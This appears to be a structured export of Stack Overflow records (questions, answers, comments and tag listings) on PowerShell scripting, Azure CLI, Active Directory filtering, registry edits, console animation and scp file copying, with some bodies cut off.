has body: Assuming all columns in your files are in the same order and all fields are separated by at least 2 spaces like you show in your post, then a quick and dirty way of parsing out the values you need could be like below: $sourcePath = 'D:\Test' $outputFile = 'D:\Test\result.csv' $result = Get-ChildItem -Path $sourcePath -Filter '*.txt' -File | ForEach-Object { switch -Regex -File $_.FullName { '^..:..:..:..:..:..' { $data = $_ -split '\s{2,}' # You could process only items where column 'ess' ($data[1]) # is either 'trustedwifi' or 'guest' at this point: if ($data[1] -match 't?rustedwifi|guest') { # output an object with the columns needed [PsCustomObject]@{ appname = $data[8] ess = $data[1] bss = $data[0] } } } } } # save the result $result | Export-Csv -Path $outputFile -NoTypeInformation # if you didn't use the filtering for 'trustedwifi' or 'guest' in the above, you can do that here: $result | Where-Object { $_.ess -match 't?rustedwifi|guest' } | Export-Csv -Path $outputFile -NoTypeInformation P.S. In your example, there is a t missing in one of the rows for trustedwifi, so that is why the regex now uses t?rustedwifi. If that is just a typo in your post and does not occur in the real files, just remove the questionmark in the regex.
score: 0
answers question: http://stackoverflow.com/q/79138278

http://stackoverflow.com/comment/139651490
type: QuestionComment
has text: @JosefZ: This need arises due to the PowerShell CLI call being passed to `gsudo.exe`; however, such an invocation is suboptimal and best avoided: in a PowerShell session, you can pass a piece of PowerShell code directly to `gsudo.exe`, and it is best to use a script block.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79193883

intune
tags question: http://stackoverflow.com/q/79194193
type: Tag
tag name: intune
tags question: http://stackoverflow.com/q/79085336
tags question: http://stackoverflow.com/q/79232971
tags question: http://stackoverflow.com/q/79304198
tags question: http://stackoverflow.com/q/79377427
tags question: http://stackoverflow.com/q/79491037
tags question: http://stackoverflow.com/q/79467185
tags question: http://stackoverflow.com/q/79454577
tags question: http://stackoverflow.com/q/79435153
tags question: http://stackoverflow.com/q/79448439

http://stackoverflow.com/a/79210674
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/140103599
downvote count: 0
has comment: http://stackoverflow.com/comment/139680164
has comment: http://stackoverflow.com/comment/139678247
type: Answer
has body: When working with Azure Container Apps, the az containerapp update command has a limitation where it replaces the scale section entirely with each execution. This behavior can make it tricky to manage multiple scaling rules, as adding a new rule through this command will overwrite any previously configured rules. To address this, you can manage scaling rules effectively by using a YAML configuration file. Start by exporting the current configuration of your Azure Container App to a YAML file. This ensures that none of the existing settings or rules are lost. az containerapp show -n sample-app -g arkorg --output yaml > containerapp-config.yaml Open the exported containerapp-config.yaml and locate the scale section. Modify this section to include all the scaling rules you need. scale: minReplicas: 1 maxReplicas: 10 rules: - name: cron-rule custom: type: cron metadata: start: "0 0 * * *" end: "0 1 * * *" timezone: "UTC" desiredReplicas: "2" - name: memory-rule custom: type: memory metadata: type: "Utilization" value: "75" and do az containerapp update -n sample-app -g arkorg --yaml containerapp-config.yaml At this time, Azure CLI does not support appending scale rules directly via individual commands. Every execution of az containerapp update replaces the existing scale section entirely. For now, managing scale rules through a YAML file is the most reliable approach.
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/79208253
accepted answer of: http://stackoverflow.com/q/79208253

http://stackoverflow.com/q/79095935
has body: I have been working on a batch script which has some sort of animated intro, My first thought was to use cls to clear the console before every frame, but that caused horrible flickering, as shown in this video https://streamable.com/o34k0e. this is the batch code I used: @echo off chcp 65001 >nul setlocal enabledelayedexpansion :: :loop cls for /L %%A in (1,1,20) do ( cls call :frame %%A ping -n 1 -w 300 127.0.0.1 >nul ) goto loop goto :eof :frame :: full letters set "letters1= █ █░▓█████ ██▓ ▄████▄ ▒█████ ███▄ ▄███▓▓█████" set "letters2= ▓█░ █ ░█░▓█ ▀ ▓██▒ ▒██▀ ▀█ ▒██▒ ██▒▓██▒▀█▀ ██▒▓█ ▀" set "letters3= ▒█░ █ ░█ ▒███ ▒██░ ▒▓█ ▄ ▒██░ ██▒▓██ ▓██░▒███" set "letters4= ░█░ █ ░█ ▒▓█ ▄ ▒██░ ▒▓▓▄ ▄██▒▒██ ██░▒██ ▒██ ▒▓█ ▄" set "letters5= ░░██▒██▓ ░▒████▒░██████▒▒ ▓███▀ ░░ ████▓▒░▒██▒ ░██▒░▒████▒" set "letters6= ░ ▓░▒ ▒ ░░ ▒░ ░░ ▒░▓ ░░ ░▒ ▒ ░░ ▒░▒░▒░ ░ ▒░ ░ ░░░ ▒░ ░" set "letters7= ▒ ░ ░ ░ ░ ░░ ░ ▒ ░ ░ ▒ ░ ▒ ▒░ ░ ░ ░ ░ ░ ░" set "letters8= ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░" set "letters9= ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░" set "letters10= ░" :: play dripping effect by changing characters in the lines 5, 6, 7, 8, 9 if %1 lss 5 ( set "letters5=%letters5:▒= %" ) else if %1 lss 10 ( set "letters6=%letters6:░= %" ) else if %1 lss 15 ( set "letters7=%letters7:▒= %" ) else if %1 lss 20 ( set "letters8=%letters8:░= %" ) else if %1 lss 25 ( set "letters9=%letters9:▓= %" ) :: display the letters with the "dripping" effect echo. echo !letters1! echo !letters2! echo !letters3! echo !letters4! if defined letters5 echo !letters5! if defined letters6 echo !letters6! if defined letters7 echo !letters7! if defined letters8 echo !letters8! if defined letters9 echo !letters9! echo !letters10! goto :eof And I also tried using PowerShell which also failed to even display a second frame, as seen here: # UTF-8 [Console]::OutputEncoding = [System.Text.Encoding]::UTF8 # define the letters for the animation $lines = @( " █ █░▓█████ ██▓ ▄████▄ ▒█████ ███▄ ▄███▓▓█████", " ▓█░ █ ░█░▓█ ▀ ▓██▒ ▒██▀ ▀█ ▒██▒ ██▒▓██▒▀█▀ ██▒▓█ ▀…
type: Question
has comment: http://stackoverflow.com/comment/139472750
has comment: http://stackoverflow.com/comment/139468593
has comment: http://stackoverflow.com/comment/139473046
tagged with: animation
score: 2
tagged with: powershell
answer count: 1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139472475
upvote count: 2
downvote count: 0
tagged with: terminal
has title: How to prevent flickering caused by cls in a batch script?
tagged with: batch-file
has comment: http://stackoverflow.com/comment/139477121
has answer: http://stackoverflow.com/a/79098743
has comment: http://stackoverflow.com/comment/139468903
favorite count: 0
accepted answer: http://stackoverflow.com/a/79098743

http://stackoverflow.com/comment/139729114
score: 1
type: QuestionComment
has text: Please report an issue in the repo https://github.com/pester/vscode-adapter and we'll look at it. Do you have a workspace open when this happens or just a empty vscode windows with a single file? Does it work in another folder/workspace?
type: Comment
comment on: http://stackoverflow.com/q/79226220

http://stackoverflow.com/a/79097306
type: Answer
has body: Because your code uses the -raw switch on Get-Content, you will receive a single multiline string on which you perform the replace. In your case, it would be easier to read each file in as string array and replace only the first line in that array. Something like this: $Path = 'D:\folder\myfolder' foreach ($file in (Get-ChildItem -Path $Path)) { $content = Get-Content -Path $file.FullName # read each file as array of lines $content[0] = $content[0] -replace '^#' # remove the hash character in the first line only $content | Set-Content -Path $file.FullName } If you first want to test if the very first character is indeed a hash character you could do $Path = 'D:\folder\myfolder' foreach ($file in (Get-ChildItem -Path $Path)) { $content = Get-Content -Path $file.FullName # read each file as array of lines if ($content[0].StartsWith('#')){ $content[0] = $content[0] -replace '^#' # remove the hash character in the first line only $content | Set-Content -Path $file.FullName } }
answers question: http://stackoverflow.com/q/79097282
has comment: http://stackoverflow.com/comment/139471708
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/139471513
has comment: http://stackoverflow.com/comment/139472277
downvote count: 0

http://stackoverflow.com/comment/139571876
type: Comment
comment on: http://stackoverflow.com/q/79148904
score: 0
type: QuestionComment
has text: Hi Dillon Brock, I confirm with you that the code snippet is the same as the one in my .gitlab-ci.yaml. In "variables," I have some variables with fixed values, and it runs okay. I have some issues similar to mine at https://gitlab.com/gitlab-org/gitlab/-/issues/29159. It was created 5 years ago.

http://stackoverflow.com/q/79132942
type: Question
answer count: 1
tagged with: powershell
has comment: http://stackoverflow.com/comment/139535644
score: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139544949
has body: We use Microsoft 365 and are implementing MFA. I was looking for way to pull a report showing the status of each user. It looks like this can only be done with PowerShell. But the scripts I found either give only two statuses, 'Enabled' and 'Disabled' or gives incorrect statuses. The script below incorrectly gives the 'Enabled' status of users with MFA disabled. Do you know how to correct it? Get-MsolUser -All | Select-Object DisplayName, UserPrincipalName, @{ Name = 'MFA Status'; Expression = { if ($_.StrongAuthenticationRequirements.State -eq "Enforced") { "Enforced" } elseif ($_.StrongAuthenticationMethods -ne $null) { "Enabled" } else { "Disabled" } } } | Export-Csv "D:\MFAStatus.csv" -NoTypeInformation I've tried out different script and method to no avail and expect to get this scrip corrected.
has comment: http://stackoverflow.com/comment/139535862
has comment: http://stackoverflow.com/comment/139535879
has title: PowerShell Script for Getting MFA Status
has answer: http://stackoverflow.com/a/79133088

http://stackoverflow.com/comment/139483958
comment on: http://stackoverflow.com/q/79104448
type: QuestionComment
has text: On a separate note, think about if you **replace** the string `NEXT_STUDY_NAME` in the first loop, why do you expect to find that value in the second loop?
type: Comment
score: 0

powershell-remoting
type: Tag
tags question: http://stackoverflow.com/q/79224521
tags question: http://stackoverflow.com/q/79111831
tags question: http://stackoverflow.com/q/79109832
tags question: http://stackoverflow.com/q/79187932
tag name: powershell-remoting
tags question: http://stackoverflow.com/q/79376015
tags question: http://stackoverflow.com/q/79255391
tags question: http://stackoverflow.com/q/79467659
tags question: http://stackoverflow.com/q/79520676

azure-storage
tags question: http://stackoverflow.com/q/79225874
tag name: azure-storage
tags question: http://stackoverflow.com/q/79096641
type: Tag
tags question: http://stackoverflow.com/q/79279965
tags question: http://stackoverflow.com/q/79489186

http://stackoverflow.com/comment/139527255
comment on: http://stackoverflow.com/q/79100351
score: 0
has text: You are getting an error on the command Get-ADObject. Remove all the filters and SearchBase and see what happens. One or more of the properties of the command is causing the object not to be found. An exception is occurring and you are getting to the catch statement. Output is occurring from the line Write-Output "Computer DistinguishedName: $computerDN"
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79091039
type: UnansweredQuestion
score: 1
upvote count: 1
tagged with: powershell-4.0
has answer: http://stackoverflow.com/a/79091087
favorite count: 0
has body: I have the following lines in a file: pc_cc_text$fx_review1 CONSTANT VARCHAR2(100) := 'For Company Review'; -- AD_PRT_AUTH_(MSP) pc_cc_text$fx_review2 CONSTANT VARCHAR2(100) := 'For Dept Review'; -- AD_PRT_AUTH_(ADX) I need to format them as follows: WHEN 'pc_cc_text$fx_review1' THEN 'For Company Review' WHEN 'pc_cc_text$fx_review2' THEN 'For Dept Review' How to do this in PowerShell? This is what I have tried so far: (Get-Content FILE | where {$_ -match ':='} | where {$_ -notmatch '^--'} | ForEach-Object{(&quot;'&quot; + $_ -split &quot;;|--&quot;)[0,1] -join ''}) -replace 'CONSTANT[^ ]' -replace 'VARCHAR2[^ ]' -replace ':=', 'THEN ' -replace '^', 'WHEN ' This prints: WHEN 'pc_cc_text$fx_review1 THEN 'For Company Review' WHEN 'pc_cc_text$fx_review2 THEN 'For Dept Review' It is almost correct but the second single tick on the second column needs to be added. How to do this?
type: Question
downvote count: 0
tagged with: replace
answer count: 3
has answer: http://stackoverflow.com/a/79092975
has comment: http://stackoverflow.com/comment/139459616
tagged with: powershell
tagged with: powershell-2.0
has title: How to add single quotes to one of the columns in PowerShell?
tagged with: powershell-3.0
has answer: http://stackoverflow.com/a/79091121

http://stackoverflow.com/comment/139480672
comment on: http://stackoverflow.com/q/79102591
type: QuestionComment
type: Comment
has text: @SantiagoSquarzon, I just want to confirm as (gallery) scripts are lighter and easier to maintain than modules. Besides, if that is indeed the only answer, I am considering to do a formal a Feature Request / Idea for this.
score: 0

http://stackoverflow.com/a/79098743
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79095935
downvote count: 0
type: Answer
score: 3
accepted answer of: http://stackoverflow.com/q/79095935
upvote count: 3
has body: You can solve the problem in PowerShell with the help of the [Console] .NET API, as shown below. The key to avoiding flickering is to use [Console]::SetCursorPosition(0, 0) to set the cursor back in the top-left corner before writing the next animation frame, which doesn't require clearing the whole screen first (cls, Clear-Host). To use this solution, you neither need chcp 65001 >nul in your wrapper batch file, nor [Console]::OutputEncoding = [System.Text.Encoding]::UTF8 in the PowerShell script (in PowerShell, [Console]::OutputEncoding only matters with respect to communicating with external programs). However, be sure to save your *.ps1 file as UTF-8 with BOM, so that Windows PowerShell reads the file correctly (PowerShell (Core) 7, which consistently defaults to (BOM-less) UTF-8, would also read a BOM-less UTF-8 file correctly. # Define the lines for the animation $lines = @' █ █░▓█████ ██▓ ▄████▄ ▒█████ ███▄ ▄███▓▓█████ ▓█░ █ ░█░▓█ ▀ ▓██▒ ▒██▀ ▀█ ▒██▒ ██▒▓██▒▀█▀ ██▒▓█ ▀ ▒█░ █ ░█ ▒███ ▒██░ ▒▓█ ▄ ▒██░ ██▒▓██ ▓██░▒███ ░█░ █ ░█ ▒▓█ ▄ ▒██░ ▒▓▓▄ ▄██▒▒██ ██░▒██ ▒██ ▒▓█ ▄ ░░██▒██▓ ░▒████▒░██████▒▒ ▓███▀ ░░ ████▓▒░▒██▒ ░██▒░▒████▒ ░ ▓░▒ ▒ ░░ ▒░ ░░ ▒░▓ ░░ ░▒ ▒ ░░ ▒░▒░▒░ ░ ▒░ ░ ░░░ ▒░ ░ ▒ ░ ░ ░ ░ ░░ ░ ▒ ░ ░ ▒ ░ ▒ ▒░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ '@ -split '\r?\n' [Console]::Clear() [Console]::CursorVisible = $false foreach ($i in 1..20) { [Console]::SetCursorPosition(0, 0) [Console]::Write($lines -join "`n") Start-Sleep -Milliseconds 300 if ($i -lt 5) { $lines[4] = $lines[4] -replace '▒', ' ' } elseif ($i -lt 10) { $lines[5] = $lines[5] -replace '░', ' ' } elseif ($i -lt 15) { $lines[6] = $lines[6] -replace '▒', ' ' } elseif ($i -lt 20) { $lines[7] = $lines[7] -replace '░', ' ' } elseif ($i -lt 25) { $lines[8] = $lines[8] -replace '▓', ' ' } } [Console]::CursorVisible = $true

http://stackoverflow.com/comment/139454841
comment on: http://stackoverflow.com/q/79084760
score: 0
has text: I would suggest perform an OS reset or reinstall. don't forget to backup your data first.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139702541
type: Comment
comment on: http://stackoverflow.com/q/79224521
score: 0
has text: We are trying to deploy to a VMWare capture machine. It involves running Start-AVAppCapture command, install the application and run Stop-AVTask to create the VHD file. But Stop-AVTask should be run from the same session that ran Start-AVAppCapture
type: QuestionComment

http://stackoverflow.com/comment/139711954
has text: So, `Connect-AzAccount` will use the existing Azure PowerShell module session created by `azure/login@v2`, while `Get-AzAccessToken` will attempt to create a new session using the GitHub Actions OIDC token? That's odd. What's specifically meant by **Azure PowerShell module**? Isn't it the `Az` family of cmdlets?
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79223169

http://stackoverflow.com/comment/139457394
comment on: http://stackoverflow.com/q/79089859
type: QuestionComment
type: Comment
score: 0
has text: So instead of hardcoded you can read the file content into `Add-Type` like `Add-Type (Get-Content otherfile.cs -Raw)` it should still work

mysql
tag name: mysql
type: Tag
tags question: http://stackoverflow.com/q/79214246
tags question: http://stackoverflow.com/q/79118064

http://stackoverflow.com/comment/139675030
score: 0
type: AnswerComment
has text: @AA27CXP right but in this you need to know the user's upn in order to lower it, thus the need of the loop ;) glad it helped
comment on: http://stackoverflow.com/a/79208857
type: Comment

uiculture
tag name: uiculture
tags question: http://stackoverflow.com/q/79138280
type: Tag

http://stackoverflow.com/comment/139678861
has text: If you are interested in my template engine, I can post it as an answer.
comment on: http://stackoverflow.com/q/79209007
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79177637
type: Answer
score: 0
has body: I believe there is room for improvement by creating a better file filter for the Get-ChildItem cmdlet. Also, by doing that, there is no more need for the $FolderPaths = ... line in your code. Try this: $MainFolder = "FolderWithDocuments" $ExcelFilePath = "SupportingPartnerFiles.xlsx" # full absolute file path and name $SheetName = "Sheet1" $StartRow = 1 $EndRow = 2 $ExcelApp = New-Object -ComObject Excel.Application $ExcelApp.Visible = $false # $false is a lot faster $Workbook = $ExcelApp.Workbooks.Open($ExcelFilePath) $Worksheet = $Workbook.Sheets.Item($SheetName) function Search-PDF { [CmdletBinding()] param ( [Parameter(Mandatory=$true, Position = 0)] [string]$Path, [Parameter(Mandatory=$true, Position = 1)] [string]$DocNumber, [Parameter(Mandatory=$true, Position = 2)] [datetime]$DocDate, [Parameter(Mandatory=$true, Position = 3)] [string]$Partner ) # create a regex for the last 4, 3 or 2 digits of the document number $lastDigits = (4..2 | ForEach-Object { ($DocNumber.Trim() -replace ".*(.{$_})", '$1') }) -join '|' $partnerIDs = @($Partner -split '\s+' -ne '') # split the possible partner names into an array $filter = '{0:yyyy MM dd}_FF *_*.pdf' -f $DocDate # combine known parts to create a file filter # Try and find the first file that matches the criteria $file = Get-ChildItem -Path $Path -Filter $filter -Recurse -File | Where-Object { ($_.BaseName -split '_')[-1] -in $partnerIDs -and # partner name in the $partnerIDs array ? ($_.BaseName -split '_')[1] -match "($lastDigits)$" # document number ok ? } | Select-Object -First 1 if ($file) { # success, output the FullName $file.FullName } } for ($Row = $StartRow; $Row -le $EndRow; $Row++) { try { $DocDate = [datetime]::ParseExact($Worksheet.Cells.Item($Row, 1).Text, "dd.MM.yyyy", $null) $DocNumber = $Worksheet.Cells.Item($Row, 3).Text $Partner = $Worksheet.Cells.Item($Row, 11).Text if ([string]::IsNullOrWhiteSpace($DocNumber) -or [string]::IsNullOrWhiteSpace($Partner)) { continue } # try and find the supporting f…
answers question: http://stackoverflow.com/q/79174610

http://stackoverflow.com/comment/139548458
comment on: http://stackoverflow.com/a/79132466
type: AnswerComment
has text: Yes, I am a project collection administrator ad org level and I use the same script. Very strange, I will add some debugging.
type: Comment
score: 0

http://stackoverflow.com/comment/139614736
type: QuestionComment
score: 2
has text: If *`s`* is optional *`?`*, then use `$spl = '(apples?)'`
type: Comment
comment on: http://stackoverflow.com/q/79175787

http://stackoverflow.com/comment/139563367
score: 0
type: AnswerComment
type: Comment
has text: Fastchunking is required for pyaff4.
comment on: http://stackoverflow.com/a/79139329

http://stackoverflow.com/comment/139604139
has text: @PaceNest you're not getting an advantage by putting all your classes in a `psm1`, `psm1` by definition aren't meant for this.
comment on: http://stackoverflow.com/a/79167139
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/79084826
upvote count: 1
favorite count: 0
type: Question
tagged with: .net
answer count: 0
has title: Powershell script for adding registry keys inconsistent if there is an absence of "Start-Sleep" in the script
downvote count: 0
tagged with: registry
tagged with: powershell
has body: I am trying to create a powershell script that includes the addition of two registry values. When the script is executed without adding a "Start-Sleep" of 5 seconds between the "set item property" of two registry values, it is not consistent. Most of the time, the "NoAutoUpdate" registry value is not added. Is there any alternative to "Start-Sleep"? To make the script execution consistent? $filesToCopy = "" foreach ($file in $filesToCopy) { Copy-Item -Path $file.Source -Destination $file.Destination -Recurse -Force } #AppLocker $registryPath = "Registry::HKLM\SYSTEM\CurrentControlSet\Services\AppIDSvc" $name = "Start" $value = "2" $filename = "\Rules.xml" $CertName = "\x.cer" $invocation = (Get-Variable MyInvocation).Value $directorypath = Split-Path $invocation.MyCommand.Path $Certpath = $directorypath + $CertName $filepath = $directorypath + $filename # Add certificate to the Trusted Root Certification Authorities store Set-Location -Path cert:\LocalMachine\Root Import-Certificate -Filepath $Certpath Write-Host "AppLocker enabled and rules created successfully." # Check if the Application Identity service is running $serviceStatus = Get-Service -Name "AppIDSvc" if ($serviceStatus.Status -eq 'Running') { Write-Host "Application Identity service is running already." } else { # Set the Application Identity service to start automatically Set-ItemProperty -Path $registryPath -Name $name -Value $value Write-Host "Application Identity service is starting. System will reboot." # Restart the computer shutdown /r } Start-Sleep -Seconds 5 # Ensure the registry path exists and create it if it does not exist $regPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" if (-not (Test-Path $regPath)) { New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" -Name "AU" -Force } # Add Registry key to stop Windows Auto Updates try { Set-ItemProperty -Path $regPath -Name NoAutoUpdate -Value 1 -Type DWord -Force Write-Output "NoAutoUpdate registry key crea…
type: UnansweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/139449134

http://stackoverflow.com/a/79168714
answers question: http://stackoverflow.com/q/79165959
accepted answer of: http://stackoverflow.com/q/79165959
upvote count: 1
has body: By setting -SslFlag property in command, you can achieve your needs, something like below: New-IISSiteBinding -Name "mySite" -BindingInformation "*:443:" -CertificateThumbPrint "xxxx" -CertStoreLocation "your:\cert\path" -Protocol https -SslFlag "DisableHTTP2" Simply refer to this doc: New-IISSiteBinding - SslFlag property.
score: 1
type: AcceptedAnswer
downvote count: 0
type: Answer

http://stackoverflow.com/comment/139601489
score: 0
has text: Not sure if the path is the mounted D: drive on the local machine or the D: drive on the remote machine. Don't use the mounted disk (D:) to get file on local machine. Instead use the server name \\servername\c:\path (or D:). You may not have permission so if you are an admin replace the colon with a dollar sign \\servername\c$\path
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79168506

http://stackoverflow.com/comment/139661922
comment on: http://stackoverflow.com/a/79201672
score: 1
type: AnswerComment
has text: Thank you. This has me going in the right direction, I think.
type: Comment

http://stackoverflow.com/comment/139476831
score: 0
has text: The very premise of the question is the _presence_ of memory virtualization; the only problem is with a failed attempt to run two processes of the sample program concurrently, in order to demonstrate the feature, which boils down to confusion over _shell syntax_.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79095339

http://stackoverflow.com/a/79194230
downvote count: 0
type: AcceptedAnswer
type: Answer
score: 3
upvote count: 3
answers question: http://stackoverflow.com/q/79193823
accepted answer of: http://stackoverflow.com/q/79193823
has comment: http://stackoverflow.com/comment/139660277
has body: The Azure management API has an endpoint that allows you to list resource skus. https://management.azure.com/subscriptions/{subscription-id}/providers/Microsoft.Compute/skus?api-version=2021-07-01&$filter=location eq 'westus' The response contains skus for all types of compute resources, including virtual machines (filtering by region is recommended as the response will otherwise be close to 60MB). The capabilities array contains detailed information on what the sku can be used for. You can filter the response using Powershell. $apiResponse = Invoke-WebRequest -Method Get ` -Uri "https://management.azure.com/subscriptions/{subscription-id}/providers/Microsoft.Compute/skus?api-version=2021-07-01&`$filter=location eq 'westus'" ` -Headers @{ "Authorization" = "Bearer $($accessToken)" "Content-Type" = "application/json" } ($apiResponse.Content | ConvertFrom-Json -Depth 99).value | Where-Object { $_.ResourceType -eq "VirtualMachines" -and $_.Capabilities.Name -contains "ConfidentialComputingType" } | Select-Object Name, Tier, Family, Size, @{ Name = "ConfidentialComputingType"; Expression = { ($_.capabilities | Where-Object {$_.Name -contains "ConfidentialComputingType"}).value -join "," } } | Format-Table This will output a table containing the VM sizes and the confidential compute type. Name Tier Family Size ConfidentialComputingType ---- ---- ------ ---- ------------------------- Standard_DC16ads_v5 Standard standardDCADSv5Family DC16ads_v5 SNP Standard_DC16as_v5 Standard standardDCASv5Family DC16as_v5 SNP Standard_DC2ads_v5 Standard standardDCADSv5Family DC2ads_v5 SNP Standard_DC2as_v5 Standard standardDCASv5Family DC2as_v5 SNP ... more results

http://stackoverflow.com/comment/139572107
type: QuestionComment
score: 2
type: Comment
has text: where are the departments coming from? can you provide the list?
comment on: http://stackoverflow.com/q/79152963

oauth-2.0
type: Tag
tag name: oauth-2.0
tags question: http://stackoverflow.com/q/79122039

http://stackoverflow.com/comment/139566402
type: QuestionComment
comment on: http://stackoverflow.com/q/79149663
has text: Thank you for the post. I just resolved the problem. I have no idea how I fixed it beyond pressing f1 in vscode, selecting powershell (there were two of them), finding out its initializing a miniconda venv on launch now, uninstalling miniconda, reinstalling miniconda and now I'm back to it working. Weirdly enough line 21 still says its an error. I also had to comment out a bunch of lines along the name of CheckerBoardRasterX (where X is some other word). I don't really think my solution is a good answer, so I'll leave the question up as unsolved in case someone actually has a more solid one.
type: Comment
score: 0

http://stackoverflow.com/comment/139682964
score: 1
has text: I did get this working. I opened [this issue](https://github.com/PowerShell/PowerShell/issues/24612) as you suggested. There is a working demonstration there.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79201672

http://stackoverflow.com/a/79095637
has comment: http://stackoverflow.com/comment/139468090
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/79095487
has body: Another option that returns a reversed OrderedDictionary, in case that’s a requirement: $reversed = $serviceServer.GetEnumerator() ` | foreach-object ` -begin { $r = [ordered] @{} } ` -process { $r.Insert(0, $_.Key, $_.Value) } ` -end { $r } It uses the OrderedDictionary Insert method to iterate over the original collection and insert each item at the start of a new instance, effectively reversing it.
score: 3
upvote count: 3

http://stackoverflow.com/a/79098740
has comment: http://stackoverflow.com/comment/139476396
has comment: http://stackoverflow.com/comment/139474400
has body: It looks like I found an answer just after posting this. $bytes = "AAAABBBB`r`n" $byt = ([System.Text.Encoding]::UTF8).GetBytes($bytes) $byt.GetType() | select Name, BaseType | ft -HideTableHeaders # Byte[] System.Array $bb = [system.bitconverter]::touint16($byt, 4) d2h $bb # 0x4242 ## OK! However, I am not sure that using a system text encoding of UTF8 is correct use for a binary blob?
type: Answer
has comment: http://stackoverflow.com/comment/139473810
score: 0
answers question: http://stackoverflow.com/q/79098718

select-object
type: Tag
tags question: http://stackoverflow.com/q/79238099
tag name: select-object
tags question: http://stackoverflow.com/q/79131446

text-search
type: Tag
tag name: text-search
tags question: http://stackoverflow.com/q/79138278

http://stackoverflow.com/comment/139674425
score: 0
type: AnswerComment
has text: I found similar codes somewhere but I don't know why the dot thing didn't work with my script. I have to use \
comment on: http://stackoverflow.com/a/79201792
type: Comment

http://stackoverflow.com/comment/139708255
comment on: http://stackoverflow.com/q/79227225
has text: In PowerShell the `-Format` string should be quoted, yours is not. Also, why bother using a forward slash in the string, then delimit it out anyhow? Also, don't enable delayed variable expansion, if you aren't needing it.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139707643
type: AnswerComment
comment on: http://stackoverflow.com/a/79227179
type: Comment
score: 0
has text: Another update, I changed the line to `runspace.SessionStateProxy.SetVariable("StartTimeGenerated", StartTimeGenerated.ToString("dd/MM/yyyy"));` however, it will come back to the same error in the powershell.Invoke() `System.Management.Automation.RemoteException: 'Cannot bind parameter 'FilterScript'. Cannot convert the "$_.InstalledOn -gt $StartTimeGenerated" value of type "System.String" to type "System.Management.Automation.ScriptBlock".'`

http://stackoverflow.com/comment/139514402
has text: What type of drive do you have? Mechanical Drives the heads have to move.
score: 0
comment on: http://stackoverflow.com/q/79119400
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79223865
score: 3
answers question: http://stackoverflow.com/q/79223805
has body: You should always avoid the scriptblock ({ .... }) in the -Filter parameter of ActiveDirectory Cmdlets. The parameter takes a string, so use one instead. If you want to interpolate $prefix in your filter you can use ${...} to indicate where the variable ends. See about_Variables for details. $prefix = Read-Host 'Enter the prefix of the site you are working on' $computers = Get-ADComputer -Filter "name -like '${prefix}s*'" You can also use a sub-expression $(...): $prefix = Read-Host 'Enter the prefix of the site you are working on' $computers = Get-ADComputer -Filter "name -like '$($prefix + 's*')'"
downvote count: 0
type: Answer
upvote count: 3

http://stackoverflow.com/comment/139523089
comment on: http://stackoverflow.com/q/79125853
type: QuestionComment
type: Comment
has text: Could you confirm whether you are getting any results when you run the script locally?
score: 0

http://stackoverflow.com/comment/139449115
score: 0
has text: The issue may not be ROLE. Somebody could of given the person access by the user name on the folder/file.
comment on: http://stackoverflow.com/q/79085336
type: QuestionComment
type: Comment

infrastructure-as-code
tags question: http://stackoverflow.com/q/79208253
type: Tag
tag name: infrastructure-as-code

http://stackoverflow.com/comment/139465495
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79094130
score: 0
has text: You can fetch the callback URL or workflow url by using the this rest api https://learn.microsoft.com/en-us/rest/api/logic/workflows/list-callback-url?view=rest-logic-2016-06-01&tabs=HTTP

performance
tags question: http://stackoverflow.com/q/79118908
tags question: http://stackoverflow.com/q/79202910
type: Tag
tag name: performance
tags question: http://stackoverflow.com/q/79244326
tags question: http://stackoverflow.com/q/79291349
tags question: http://stackoverflow.com/q/79344254
tags question: http://stackoverflow.com/q/79245155
tags question: http://stackoverflow.com/q/79475426
tags question: http://stackoverflow.com/q/79471759

http://stackoverflow.com/a/79198109
has comment: http://stackoverflow.com/comment/139661675
has comment: http://stackoverflow.com/comment/139661261
has body: As you correctly point out, the pattern {*.ext1,*_ext2} is clearly not being recognized. Not sure what you were using before, but Bash-like expressions such as {*.x} are not recognized by scp on my Linux system, even when the remote has bash available. A few solutions: Use multiple commands: scp user@remote:/example/path/'*.ext1' . scp user@remote:/example/path/'*.ext2' . Specify all remote paths in one command: scp user@remote:/example/path/'*.ext1' user@remote:/example/path/'*.ext2' . If you are using a bash (or similar) shell, make bash perform the expansion of the arguments for you: scp user@remote:/example/path/{'*.ext1','*.ext2'} . This is identical to solution 2 above, but Bash does the expansion for you (notice that the quotes are only inside, so that {...} is expanded by Bash). You may be able to do the same as solution 3 in PowerShell with a different syntax. I am not sure, not familiar enough with PS. Check out this other post that may help: Powershell equivalent of Bash Brace Expansion for generating lists/arrays. As pointed out in the comments, commands such as scp user@machine:xxx user@machine:yyy perform multiple SSH connections. You could be able to avoid this by configuring SSH session sharing in your ~/.ssh/config file. On Windows it should be C:\Users\&lt;user&gt;\.ssh\config (or %userprofile%\ssh\config with CMD, or ~/.ssh/config with PowerShell). See How to reuse an ssh connection (SO) and How to maintain ssh connection for multiple scp 